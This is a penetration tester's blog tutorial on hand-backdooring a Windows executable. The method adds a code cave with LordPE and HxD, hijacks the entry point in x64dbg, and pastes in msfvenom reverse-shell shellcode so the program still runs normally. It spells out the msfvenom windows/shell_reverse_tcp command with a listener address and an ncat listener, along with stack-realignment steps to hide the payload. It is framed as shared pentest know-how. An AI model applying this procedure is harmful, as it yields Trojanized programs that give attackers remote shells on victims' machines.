Blog Post created by Anthony Cozamanis, Senior Offensive Security Consultant
During the conduct of a recent penetration test, I needed to share a legitimate looking, yet decidedly malicious, executable with the client. There were multiple restrictions in place to create an authentic attack and as such, I was required to perform most of the work manually.
After performing a quick search online, I discovered that there were many tutorials online detailing how to achieve this. However, they mostly referred to very old and outdated tools. Some other examples just don’t work as advertised or intended. Below is the documented method I ultimately employed utilising current tools and a revised process. I have shared this process in hope that it can be reused by other penetration testers if or when required.
Disclaimer: For all the newbies reading this, modern anti-virus will not be evaded with this (ignoring the fact that this tutorial uses a Keygen as the example executable and will most certainly be discovered without the inclusion of shellcode), additional research will be required to use this information and improve upon it.
Now to kick things off, I’d like to detail the tools we are going to be replacing:
- x64dbg instead of Ollydbg
- msfvenom instead of msfpayload
- HxD instead of XVI32
Now that we are all setup, we are going to want to open our (currently) innocent application in LordPE (Click PE Editor), select Sections and right click to add a new section and then right click to edit the section header.
Disclaimer: I know LordPE is hardly new, but for what I used it for, I can’t to think of a need to replace it.
Once open, we want to add roughly 1000 bytes to the new section which should be enough space for our malicious code. Also, be sure to set the Virtual and Raw size to 1000 to coincide with the addition of bytes and save.
Next, we will open our executable with HxD, scroll down to the bottom, click to bring up a cursor at the end of the hex, right click and insert bytes. The byte count should be at 1000 with the type of hex and the fill pattern to 00
Once saved, we can close Hxd, open the newly modified application in x64dbg and click the Memory Map tab to review the memory mappings. Once there, look for the .NewSec section mapping, right click and copy the address and store it for later.
Moving back to the CPU tab, we want to find the application entry point so we can replace it with a jump to our malicious code cave. This could look like anything, and if the second instruction isn’t a JMP, don’t copy the instruction, rather, copy the address and save for later.
Now, we want to replace the first instruction with a JMP to the .NewSec address (which we copied previously).
Hit F7, and we should jump to the beginning of our .NewSec space. Before we progress to the good stuff, we are going to want to save the current stack by pushing all 8 general purpose registers and EFlags register contents onto the stack, by inserting a PUSHAD and PUSHFD.
Note: x64dbg will translate PUSHAD to pushal
Back over to our attacking machine, we will create a reverse shell payload with something like the following:
sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.51 LPORT=8899 -f hex
Once generated, copy and then binary paste all of the hex to begin right after our stack saving instructions. To do this, highlight the instruction right after our introduced PUSHFD instruction, right click, move to “Binary” then “Paste (Ignore Size)”.
This next part can be tricky, but what we essentially want to do is start to step through the newly introduced code (by pressing F7), however stop and make note of the value of ESP after our PUSHFD, and as always, save it for later:
After we’ve recorded this, scroll down to the end of the shell code and set a break point on the last 3 instructions. Next, jump back to our attacking machine and start a ncat listener with a command like the following:
ncat -nlvp 8899
Then, moving back to our victim machine, continue to run the program in the debugger and make note of the ESP when it hits the last breakpoint (very likely to be CALL EBP).
Note: We might need to kill the listener to reach it.
Now that we have our two ESP values, we will use them to realign our stack and access our saved values. To do this though, we will first need to work out the difference between the two values.
Once calculated, we will need to replace the CALL EBP instruction with our calculated difference with an ADD ESP instruction like so:
Following on from this, we restored our previously saved registers with a POPFD and POPAD, then restored the initial call to the program, followed by a jump back to the second instruction in our executable.
Now, due to msfvenom ‘quirks’, before we patch the executable we will need to replace the following three instructions with NOPs to make sure the program continues to run without us needing to exit the reverse shell. The offending instruction will be in the order of dec esi, push esi and inc esi:
Once replaced, we can patch our executable with our malicious shell code:
Now that we have a fully “patched” executable, we can move onto the fun part: testing! Before we run the application, we will want to start our ncat listener on our attacking machine with the command we ran during our development phase, then, run the executable:
And if all goes well, we should have a shell!
I hope that this tutorial expanded your tool knowledge and provided you a new way to backdoor executables. This manual method could come in handy due to tool creators retiring development of tools leaving users with no fall-back methods. As I stated previously, this method won’t fool any modern day anti-virus suites (or at least it shouldn’t) but if we were to take the time to obfuscate our payload prior to pasting into x64dbg, we may have a different outcome.